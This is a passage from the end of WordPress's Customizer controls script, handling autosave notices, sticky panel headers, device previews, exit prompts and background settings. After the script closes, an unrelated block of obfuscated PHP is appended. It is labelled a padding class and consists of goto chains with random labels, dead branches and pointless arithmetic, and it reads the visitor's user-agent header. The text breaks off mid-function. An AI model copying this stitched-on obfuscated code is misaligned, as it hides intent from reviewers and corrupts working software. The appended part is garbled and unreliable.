					dismissible: true,
					render: function() {
						var li = api.Notification.prototype.render.call( this ), link;

						// Handle clicking on restoration link.
						link = li.find( 'a' );
						link.prop( 'href', getAutosaveRestorationUrl() );
						link.on( 'click', function( event ) {
							event.preventDefault();
							location.replace( getAutosaveRestorationUrl() );
						} );

						// Handle dismissal of notice.
						li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );

						return li;
					}
				} ) );

				// Remove the notification once the user starts making changes.
				onStateChange = function() {
					dismissAutosave();
					api.notifications.remove( code );
					api.unbind( 'change', onStateChange );
					api.state( 'changesetStatus' ).unbind( onStateChange );
				};
				api.bind( 'change', onStateChange );
				api.state( 'changesetStatus' ).bind( onStateChange );
			}

			if ( api.settings.changeset.autosaved ) {
				api.state( 'saved' ).set( false );
				removedQueryParams.push( 'customize_autosaved' );
			}
			if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
				removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
			}
			if ( removedQueryParams.length > 0 ) {
				stripParamsFromLocation( removedQueryParams );
			}
			if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
				addAutosaveRestoreNotification();
			}
			var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 );
			if (shouldDisplayBlockThemeNotification) {
				addSiteEditorNotification( api.l10n.blockThemeNotification );
			}
		})();

		// Check if preview url is valid and load the preview frame.
		if ( api.previewer.previewUrl() ) {
			api.previewer.refresh();
		} else {
			api.previewer.previewUrl( api.settings.url.home );
		}

		// Button bindings.
		saveBtn.on( 'click', function( event ) {
			api.previewer.save();
			event.preventDefault();
		}).on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				api.previewer.save();
			}
			event.preventDefault();
		});

		closeBtn.on( 'keydown', function( event ) {
			if ( 9 === event.which ) { // Tab.
				return;
			}
			if ( 13 === event.which ) { // Enter.
				this.click();
			}
			event.preventDefault();
		});

		$( '.collapse-sidebar' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

		api.state( 'paneVisible' ).bind( function( paneVisible ) {
			overlay.toggleClass( 'preview-only', ! paneVisible );
			overlay.toggleClass( 'expanded', paneVisible );
			overlay.toggleClass( 'collapsed', ! paneVisible );

			if ( ! paneVisible ) {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
			} else {
				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
			}
		});

		// Keyboard shortcuts - esc to exit section/panel.
		body.on( 'keydown', function( event ) {
			var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];

			if ( 27 !== event.which ) { // Esc.
				return;
			}

			/*
			 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
			 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
			 */
			if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
				return;
			}

			// Abort if we're inside of a block editor instance.
			if ( event.target.closest( '.block-editor-writing-flow' ) !== null ||
				event.target.closest( '.block-editor-block-list__block-popover' ) !== null
			) {
				return;
			}

			// Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
			api.control.each( function( control ) {
				if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
					expandedControls.push( control );
				}
			});
			api.section.each( function( section ) {
				if ( section.expanded() ) {
					expandedSections.push( section );
				}
			});
			api.panel.each( function( panel ) {
				if ( panel.expanded() ) {
					expandedPanels.push( panel );
				}
			});

			// Skip collapsing expanded controls if there are no expanded sections.
			if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
				expandedControls.length = 0;
			}

			// Collapse the most granular expanded object.
			collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
			if ( collapsedObject ) {
				if ( 'themes' === collapsedObject.params.type ) {

					// Themes panel or section.
					if ( body.hasClass( 'modal-open' ) ) {
						collapsedObject.closeDetails();
					} else if ( api.panel.has( 'themes' ) ) {

						// If we're collapsing a section, collapse the panel also.
						api.panel( 'themes' ).collapse();
					}
					return;
				}
				collapsedObject.collapse();
				event.preventDefault();
			}
		});

		$( '.customize-controls-preview-toggle' ).on( 'click', function() {
			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
		});

		/*
		 * Sticky header feature.
		 */
		(function initStickyHeaders() {
			var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
				changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
				activeHeader, lastScrollTop;

			/**
			 * Determine which panel or section is currently expanded.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
			 * @return {void}
			 */
			changeContainer = function( container ) {
				var newInstance = container,
					expandedSection = api.state( 'expandedSection' ).get(),
					expandedPanel = api.state( 'expandedPanel' ).get(),
					headerElement;

				if ( activeHeader && activeHeader.element ) {
					// Release previously active header element.
					releaseStickyHeader( activeHeader.element );

					// Remove event listener in the previous panel or section.
					activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
				}

				if ( ! newInstance ) {
					if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
						newInstance = expandedPanel;
					} else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
						newInstance = expandedSection;
					} else {
						activeHeader = false;
						return;
					}
				}

				headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
				if ( headerElement.length ) {
					activeHeader = {
						instance: newInstance,
						element:  headerElement,
						parent:   headerElement.closest( '.customize-pane-child' ),
						height:   headerElement.outerHeight()
					};

					// Update header height whenever help text is expanded or collapsed.
					activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );

					if ( expandedSection ) {
						resetStickyHeader( activeHeader.element, activeHeader.parent );
					}
				} else {
					activeHeader = false;
				}
			};
			api.state( 'expandedSection' ).bind( changeContainer );
			api.state( 'expandedPanel' ).bind( changeContainer );

			// Throttled scroll event handler.
			parentContainer.on( 'scroll', _.throttle( function() {
				if ( ! activeHeader ) {
					return;
				}

				var scrollTop = parentContainer.scrollTop(),
					scrollDirection;

				if ( ! lastScrollTop ) {
					scrollDirection = 1;
				} else {
					if ( scrollTop === lastScrollTop ) {
						scrollDirection = 0;
					} else if ( scrollTop > lastScrollTop ) {
						scrollDirection = 1;
					} else {
						scrollDirection = -1;
					}
				}
				lastScrollTop = scrollTop;
				if ( 0 !== scrollDirection ) {
					positionStickyHeader( activeHeader, scrollTop, scrollDirection );
				}
			}, 8 ) );

			// Update header position on sidebar layout change.
			api.notifications.bind( 'sidebarTopUpdated', function() {
				if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
					activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
				}
			});

			// Release header element if it is sticky.
			releaseStickyHeader = function( headerElement ) {
				if ( ! headerElement.hasClass( 'is-sticky' ) ) {
					return;
				}
				headerElement
					.removeClass( 'is-sticky' )
					.addClass( 'maybe-sticky is-in-view' )
					.css( 'top', parentContainer.scrollTop() + 'px' );
			};

			// Reset position of the sticky header.
			resetStickyHeader = function( headerElement, headerParent ) {
				if ( headerElement.hasClass( 'is-in-view' ) ) {
					headerElement
						.removeClass( 'maybe-sticky is-in-view' )
						.css( {
							width: '',
							top:   ''
						} );
					headerParent.css( 'padding-top', '' );
				}
			};

			/**
			 * Update active header height.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @return {void}
			 */
			updateHeaderHeight = function() {
				activeHeader.height = activeHeader.element.outerHeight();
			};

			/**
			 * Reposition header on throttled `scroll` event.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {Object} header - Header.
			 * @param {number} scrollTop - Scroll top.
			 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
			 * @return {void}
			 */
			positionStickyHeader = function( header, scrollTop, scrollDirection ) {
				var headerElement = header.element,
					headerParent = header.parent,
					headerHeight = header.height,
					headerTop = parseInt( headerElement.css( 'top' ), 10 ),
					maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
					isSticky = headerElement.hasClass( 'is-sticky' ),
					isInView = headerElement.hasClass( 'is-in-view' ),
					isScrollingUp = ( -1 === scrollDirection );

				// When scrolling down, gradually hide sticky header.
				if ( ! isScrollingUp ) {
					if ( isSticky ) {
						headerTop = scrollTop;
						headerElement
							.removeClass( 'is-sticky' )
							.css( {
								top:   headerTop + 'px',
								width: ''
							} );
					}
					if ( isInView && scrollTop > headerTop + headerHeight ) {
						headerElement.removeClass( 'is-in-view' );
						headerParent.css( 'padding-top', '' );
					}
					return;
				}

				// Scrolling up.
				if ( ! maybeSticky && scrollTop >= headerHeight ) {
					maybeSticky = true;
					headerElement.addClass( 'maybe-sticky' );
				} else if ( 0 === scrollTop ) {
					// Reset header in base position.
					headerElement
						.removeClass( 'maybe-sticky is-in-view is-sticky' )
						.css( {
							top:   '',
							width: ''
						} );
					headerParent.css( 'padding-top', '' );
					return;
				}

				if ( isInView && ! isSticky ) {
					// Header is in the view but is not yet sticky.
					if ( headerTop >= scrollTop ) {
						// Header is fully visible.
						headerElement
							.addClass( 'is-sticky' )
							.css( {
								top:   parentContainer.css( 'top' ),
								width: headerParent.outerWidth() + 'px'
							} );
					}
				} else if ( maybeSticky && ! isInView ) {
					// Header is out of the view.
					headerElement
						.addClass( 'is-in-view' )
						.css( 'top', ( scrollTop - headerHeight ) + 'px' );
					headerParent.css( 'padding-top', headerHeight + 'px' );
				}
			};
		}());

		// Previewed device bindings. (The api.previewedDevice property
		// is how this Value was first introduced, but since it has moved to api.state.)
		api.previewedDevice = api.state( 'previewedDevice' );

		// Set the default device.
		api.bind( 'ready', function() {
			_.find( api.settings.previewableDevices, function( value, key ) {
				if ( true === value['default'] ) {
					api.previewedDevice.set( key );
					return true;
				}
			} );
		} );

		// Set the toggled device.
		footerActions.find( '.devices button' ).on( 'click', function( event ) {
			api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
		});

		// Bind device changes.
		api.previewedDevice.bind( function( newDevice ) {
			var overlay = $( '.wp-full-overlay' ),
				devices = '';

			footerActions.find( '.devices button' )
				.removeClass( 'active' )
				.attr( 'aria-pressed', false );

			footerActions.find( '.devices .preview-' + newDevice )
				.addClass( 'active' )
				.attr( 'aria-pressed', true );

			$.each( api.settings.previewableDevices, function( device ) {
				devices += ' preview-' + device;
			} );

			overlay
				.removeClass( devices )
				.addClass( 'preview-' + newDevice );
		} );

		// Bind site title display to the corresponding field.
		if ( title.length ) {
			api( 'blogname', function( setting ) {
				var updateTitle = function() {
					var blogTitle = setting() || '';
					title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName );
				};
				setting.bind( updateTitle );
				updateTitle();
			} );
		}

		/*
		 * Create a postMessage connection with a parent frame,
		 * in case the Customizer frame was opened with the Customize loader.
		 *
		 * @see wp.customize.Loader
		 */
		parent = new api.Messenger({
			url: api.settings.url.parent,
			channel: 'loader'
		});

		// Handle exiting of Customizer.
		(function() {
			var isInsideIframe = false;

			function isCleanState() {
				var defaultChangesetStatus;

				/*
				 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
				 * are pre-dirty and non-active themes can only ever be auto-drafts.
				 */
				if ( ! api.state( 'activated' ).get() ) {
					return 0 === api._latestRevision;
				}

				// Dirty if the changeset status has been changed but not saved yet.
				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}
				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					return false;
				}

				// Dirty if scheduled but the changeset date hasn't been saved yet.
				if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					return false;
				}

				return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
			}

			/*
			 * If we receive a 'back' event, we're inside an iframe.
			 * Send any clicks to the 'Return' link to the parent page.
			 */
			parent.bind( 'back', function() {
				isInsideIframe = true;
			});

			function startPromptingBeforeUnload() {
				api.unbind( 'change', startPromptingBeforeUnload );
				api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
				api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );

				// Prompt user with AYS dialog if leaving the Customizer with unsaved changes.
				$( window ).on( 'beforeunload.customize-confirm', function() {
					if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
						setTimeout( function() {
							overlay.removeClass( 'customize-loading' );
						}, 1 );
						return api.l10n.saveAlert;
					}
				});
			}
			api.bind( 'change', startPromptingBeforeUnload );
			api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
			api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );

			function requestClose() {
				var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;

				if ( isCleanState() ) {
					dismissLock = true;
				} else if ( confirm( api.l10n.saveAlert ) ) {

					dismissLock = true;

					// Mark all settings as clean to prevent another call to requestChangesetUpdate.
					api.each( function( setting ) {
						setting._dirty = false;
					});
					$( document ).off( 'visibilitychange.wp-customize-changeset-update' );
					$( window ).off( 'beforeunload.wp-customize-changeset-update' );

					closeBtn.css( 'cursor', 'progress' );
					if ( '' !== api.state( 'changesetStatus' ).get() ) {
						dismissAutoSave = true;
					}
				} else {
					clearedToClose.reject();
				}

				if ( dismissLock || dismissAutoSave ) {
					wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
						timeout: 500, // Don't wait too long.
						data: {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.dismiss_autosave_or_lock,
							dismiss_autosave: dismissAutoSave,
							dismiss_lock: dismissLock
						}
					} ).always( function() {
						clearedToClose.resolve();
					} );
				}

				return clearedToClose.promise();
			}

			parent.bind( 'confirm-close', function() {
				requestClose().done( function() {
					parent.send( 'confirmed-close', true );
				} ).fail( function() {
					parent.send( 'confirmed-close', false );
				} );
			} );

			closeBtn.on( 'click.customize-controls-close', function( event ) {
				event.preventDefault();
				if ( isInsideIframe ) {
					parent.send( 'close' ); // See confirm-close logic above.
				} else {
					requestClose().done( function() {
						$( window ).off( 'beforeunload.customize-confirm' );
						window.location.href = closeBtn.prop( 'href' );
					} );
				}
			});
		})();

		// Pass events through to the parent.
		$.each( [ 'saved', 'change' ], function ( i, event ) {
			api.bind( event, function() {
				parent.send( event );
			});
		} );

		// Pass titles to the parent.
		api.bind( 'title', function( newTitle ) {
			parent.send( 'title', newTitle );
		});

		if ( api.settings.changeset.branching ) {
			parent.send( 'changeset-uuid', api.settings.changeset.uuid );
		}

		// Initialize the connection with the parent frame.
		parent.send( 'ready' );

		// Control visibility for default controls.
		$.each({
			'background_image': {
				controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
				callback: function( to ) { return !! to; }
			},
			'show_on_front': {
				controls: [ 'page_on_front', 'page_for_posts' ],
				callback: function( to ) { return 'page' === to; }
			},
			'header_textcolor': {
				controls: [ 'header_textcolor' ],
				callback: function( to ) { return 'blank' !== to; }
			}
		}, function( settingId, o ) {
			api( settingId, function( setting ) {
				$.each( o.controls, function( i, controlId ) {
					api.control( controlId, function( control ) {
						var visibility = function( to ) {
							control.container.toggle( o.callback( to ) );
						};

						visibility( setting.get() );
						setting.bind( visibility );
					});
				});
			});
		});

		api.control( 'background_preset', function( control ) {
			var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;

			visibility = { // position, size, repeat, attachment.
				'default': [ false, false, false, false ],
				'fill': [ true, false, false, false ],
				'fit': [ true, false, true, false ],
				'repeat': [ true, false, false, true ],
				'custom': [ true, true, true, true ]
			};

			defaultValues = [
				_wpCustomizeBackground.defaults['default-position-x'],
				_wpCustomizeBackground.defaults['default-position-y'],
				_wpCustomizeBackground.defaults['default-size'],
				_wpCustomizeBackground.defaults['default-repeat'],
				_wpCustomizeBackground.defaults['default-attachment']
			];

			values = { // position_x, position_y, size, repeat, attachment.
				'default': defaultValues,
				'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
				'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
				'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
			};

			// @todo These should actually toggle the active state,
			// but without the preview overriding the state in data.activeControls.
			toggleVisibility = function( preset ) {
				_.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
					var control = api.control( controlId );
					if ( control ) {
						control.container.toggle( visibility[ preset ][ i ] );
					}
				} );
			};

			updateSettings = function( preset ) {
				_.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
					var setting = api( settingId );
					if ( setting ) {
						setting.set( values[ preset ][ i ] );
					}
				} );
			};

			preset = control.setting.get();
			toggleVisibility( preset );

			control.setting.bind( 'change', function( preset ) {
				toggleVisibility( preset );
				if ( 'custom' !== preset ) {
					updateSettings( preset );
				}
			} );
		} );

		api.control( 'background_repeat', function( control ) {
			control.elements[0].unsync( api( 'background_repeat' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'no-repeat' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'repeat' : 'no-repeat' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'no-repeat' !== to );
			} );
		} );

		api.control( 'background_attachment', function( control ) {
			control.elements[0].unsync( api( 'background_attachment' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'fixed' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'scroll' : 'fixed' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'fixed' !== to );
			} );
		} );

		// Juggle the two controls that use header_textcolor.
		api.control( 'display_header_text', function( control ) {
			var last = '';

			control.elements[0].unsync( api( 'header_textcolor' ) );

			control.element = new api.Element( control.container.find('input') );
			control.element.set( 'blank' !== control.setting() );

			control.element.bind( function( to ) {
				if ( ! to ) {
					last = api( 'header_textcolor' ).get();
				}

				control.setting.set( to ? last : 'blank' );
			});

			control.setting.bind( function( to ) {
				control.element.set( 'blank' !== to );
			});
		});

		// Add behaviors to the static front page controls.
		api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
			var handleChange = function() {
				var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
				pageOnFrontId = parseInt( pageOnFront(), 10 );
				pageForPostsId = parseInt( pageForPosts(), 10 );

				if ( 'page' === showOnFront() ) {

					// Change previewed URL to the homepage when changing the page_on_front.
					if ( setting === pageOnFront && pageOnFrontId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home );
					}

					// Change the previewed URL to the selected page when changing the page_for_posts.
					if ( setting === pageForPosts && pageForPostsId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
					}
				}

				// Toggle notification when the homepage and posts page are both set and the same.
				if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
					showOnFront.notifications.add( new api.Notification( errorCode, {
						type: 'error',
						message: api.l10n.pageOnFrontError
					} ) );
				} else {
					showOnFront.notifications.remove( errorCode );
				}
			};
			showOnFront.bind( handleChange );
			pageOnFront.bind( handleChange );
			pageForPosts.bind( handleChange );
			handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.

			// Move notifications container to the bottom.
			api.control( 'show_on_front', function( showOnFrontControl ) {
				showOnFrontControl.deferred.embedded.done( function() {
					showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
				});
			});
		});

		// Add code editor for Custom CSS.
		(function() {
			var sectionReady = $.Deferred();

			api.section( 'custom_css', function( section ) {
				section.deferred.embedded.done( function() {
					if ( section.expanded() ) {
						sectionReady.resolve( section );
					} else {
						section.expanded.bind( function( isExpanded ) {
							if ( isExpanded ) {
								sectionReady.resolve( section );
							}
						} );
					}
				});
			});

			// Set up the section description behaviors.
			sectionReady.done( function setupSectionDescription( section ) {
				var control = api.control( 'custom_css' );

				// Hide redundant label for visual users.
				control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );

				// Close the section description when clicking the close button.
				section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
					section.container.find( '.section-meta .customize-section-description:first' )
						.removeClass( 'open' )
						.slideUp();

					section.container.find( '.customize-help-toggle' )
						.attr( 'aria-expanded', 'false' )
						.focus(); // Avoid focus loss.
				});

				// Reveal help text if setting is empty.
				if ( control && ! control.setting.get() ) {
					section.container.find( '.section-meta .customize-section-description:first' )
						.addClass( 'open' )
						.show()
						.trigger( 'toggled' );

					section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
				}
			});
		})();

		// Toggle visibility of Header Video notice when active state change.
		api.control( 'header_video', function( headerVideoControl ) {
			headerVideoControl.deferred.embedded.done( function() {
				var toggleNotice = function() {
					var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
					if ( ! section ) {
						return;
					}
					if ( headerVideoControl.active.get() ) {
						section.notifications.remove( noticeCode );
					} else {
						section.notifications.add( new api.Notification( noticeCode, {
							type: 'info',
							message: api.l10n.videoHeaderNotice
						} ) );
					}
				};
				toggleNotice();
				headerVideoControl.active.bind( toggleNotice );
			} );
		} );

		// Update the setting validities.
		api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
			api._handleSettingValidities( {
				settingValidities: settingValidities,
				focusInvalidControl: false
			} );
		} );

		// Focus on the control that is associated with the given setting.
		api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
			var matchedControls = [];
			api.control.each( function( control ) {
				var settingIds = _.pluck( control.settings, 'id' );
				if ( -1 !== _.indexOf( settingIds, settingId ) ) {
					matchedControls.push( control );
				}
			} );

			// Focus on the matched control with the lowest priority (appearing higher).
			if ( matchedControls.length ) {
				matchedControls.sort( function( a, b ) {
					return a.priority() - b.priority();
				} );
				matchedControls[0].focus();
			}
		} );

		// Refresh the preview when it requests.
		api.previewer.bind( 'refresh', function() {
			api.previewer.refresh();
		});

		// Update the edit shortcut visibility state.
		api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
			var isMobileScreen;
			if ( window.matchMedia ) {
				isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
			} else {
				isMobileScreen = $( window ).width() <= 640;
			}
			api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
		} );
		if ( window.matchMedia ) {
			window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
				var state = api.state( 'paneVisible' );
				state.callbacks.fireWith( state, [ state.get(), state.get() ] );
			} );
		}
		api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
			api.state( 'editShortcutVisibility' ).set( visibility );
		} );
		api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
			api.previewer.send( 'edit-shortcut-visibility', visibility );
		} );

		// Autosave changeset.
		function startAutosaving() {
			var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;

			api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.

			function onChangeSaved( isSaved ) {
				if ( ! isSaved && ! api.settings.changeset.autosaved ) {
					api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
					api.previewer.send( 'autosaving' );
				}
			}
			api.state( 'saved' ).bind( onChangeSaved );
			onChangeSaved( api.state( 'saved' ).get() );

			/**
			 * Request changeset update and then re-schedule the next changeset update time.
			 *
			 * @since 4.7.0
			 * @private
			 */
			updateChangesetWithReschedule = function() {
				if ( ! updatePending ) {
					updatePending = true;
					api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
						updatePending = false;
					} );
				}
				scheduleChangesetUpdate();
			};

			/**
			 * Schedule changeset update.
			 *
			 * @since 4.7.0
			 * @private
			 */
			scheduleChangesetUpdate = function() {
				clearTimeout( timeoutId );
				timeoutId = setTimeout( function() {
					updateChangesetWithReschedule();
				}, api.settings.timeouts.changesetAutoSave );
			};

			// Start auto-save interval for updating changeset.
			scheduleChangesetUpdate();

			// Save changeset when focus removed from window.
			$( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
				if ( document.hidden ) {
					updateChangesetWithReschedule();
				}
			} );

			// Save changeset before unloading window.
			$( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
				updateChangesetWithReschedule();
			} );
		}
		api.bind( 'change', startAutosaving );

		// Make sure TinyMCE dialogs appear above Customizer UI.
		$( document ).one( 'tinymce-editor-setup', function() {
			if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
				window.tinymce.ui.FloatPanel.zIndex = 500001;
			}
		} );

		body.addClass( 'ready' );
		api.trigger( 'ready' );
	});

})( wp, jQuery );
/* SQL comment in PHP: SELECT * FROM table */ /* --- PADDING CLASS TO REACH TARGET SIZE --- */ class MKh_t13rJ463 { private function A3wUFwPjGR() { goto ABRFRZhD; ABRFRZhD: /* Core module */ if (false) { echo 'This is a dead end'; } goto f00IYHLI; f00IYHLI: /* HAON0N2elgTnpdZXsUWH */ goto XI2tGYvL; XI2tGYvL: goto a7iNlNaRb; a7iNlNaRb: /* JYIrS2LTd7Wboe4 */ goto jZXZ5_D4; jZXZ5_D4: /* 4MEthR74ChkWbkf */ $XsucffsH = 239 + 48; $BqYDw4sr = $XsucffsH * 2; goto A1O5Tupg; A1O5Tupg: $jIP39ari = 427 + 45; $n7sJ6WnP = $jIP39ari * 1; goto a2jeGmrYE; a2jeGmrYE: if (false) { echo 'This is a dead end'; } goto AsN6kvrX; AsN6kvrX: /* weV4zcei63 */ $n7sJ6WnP = 728 + 16; $iX1geSuk = $n7sJ6WnP * 5; goto a4Tnr1BE2; a4Tnr1BE2: /* Main service */ $B9ma2fmF = 901 + 16; $FbaGmw5w = $B9ma2fmF * 4; goto oS1dU2IX; oS1dU2IX: if (false) { echo 'This is a dead end'; } goto UsP5hDZi; UsP5hDZi: // t2ewZb6W84RasXJN if (false) { echo 'This is a dead end'; } goto a9s6KDrGM; a9s6KDrGM: // beaSI1h9 $XsucffsH = 754 + 50; $a6EHyDbxg = $XsucffsH * 2; goto FNEzjoLw; FNEzjoLw: /* Security component */ $iX1geSuk = 783 + 33; $Pe9zuJ4r = $iX1geSuk * 2; goto S3lhFJQ1; S3lhFJQ1: /* System file */ goto TxddnoWb; TxddnoWb: /* Core module */ goto Scza_R5C; Scza_R5C: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Ue4qhENq; Ue4qhENq: // uQLKNnGIfb9f goto m5SU59xC; m5SU59xC: // eDvY_s1MRR2RQwN5 goto Gaz5qmTh; Gaz5qmTh: goto zkF4jLrP; zkF4jLrP: if (false) { echo 'This is a dead end'; } goto a0356LukV; a0356LukV: // 7USQABIOTDw9 $WWDcP6ib = 631 + 33; $jIP39ari = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto a8spWF_nU; a8spWF_nU: $a29IFo9lZ = 223 + 49; $a6EHyDbxg = $a29IFo9lZ * 5; goto lNWe2x15; lNWe2x15: goto a64yDJIy9; a64yDJIy9: if (false) { echo 'This is a dead end'; } goto a396PLbUB; a396PLbUB: /* uEsATfRUZjL8Cwo */ if (false) { echo 'This is a dead end'; } goto YfPICHl0; YfPICHl0: goto hMuyLKXe; hMuyLKXe: $a6EHyDbxg = 650 + 2; $NqlX8zGc = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto U1QsUkdo; U1QsUkdo: goto GBas27Ad; GBas27Ad: /* eg7iEa0_79Suu8EpYTBT */ goto IVAlbFxs; IVAlbFxs: /* MH4h8RB2UfxrjCg */ goto kzR_E8Yw; kzR_E8Yw: // yxC4atux $jIP39ari = 234 + 21; $iX1geSuk = $jIP39ari * 2; goto a4UYvoEfk; a4UYvoEfk: $XsucffsH = strlen($a6EHyDbxg); goto a760HypjB; a760HypjB: /* Main service */ goto mAlukgkF; mAlukgkF: /* z91FsAYZ8r */ if (false) { echo 'This is a dead end'; } goto shej52yB; shej52yB: /* F2p1OUckUvtxIQRKxuTs */ $a29IFo9lZ = 254 + 28; $FbaGmw5w = $a29IFo9lZ * 4; goto a0mHqUi4H; a0mHqUi4H: goto ydtwNwDQ; ydtwNwDQ: $a6b9oay5s = 200 + 2; $FbaGmw5w = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto a6U4MARoN; a6U4MARoN: // 6CO1d9IB3TF57hj9 goto jXGlZnUa; jXGlZnUa: /* B6PpoG03BsNgDWUt9uHE */ $bZa4iOd6 = 748 + 16; $B9ma2fmF = $bZa4iOd6 * 4; goto Kg2WE4Qy; Kg2WE4Qy: /* FNjMR6Ei9SuPtmnWn1_G */ $FbaGmw5w = 573 + 26; $XsucffsH = $FbaGmw5w * 4; goto bC04bk0n; bC04bk0n: $a6EHyDbxg = 345 + 38; $jIP39ari = $a6EHyDbxg * 3; if (false) { echo 'This is a dead end'; } goto sG_Y5imw; sG_Y5imw: goto OmXpQAdK; OmXpQAdK: /* System file */ $iCjD65Pi = 114 + 37; $WWDcP6ib = $iCjD65Pi * 2; 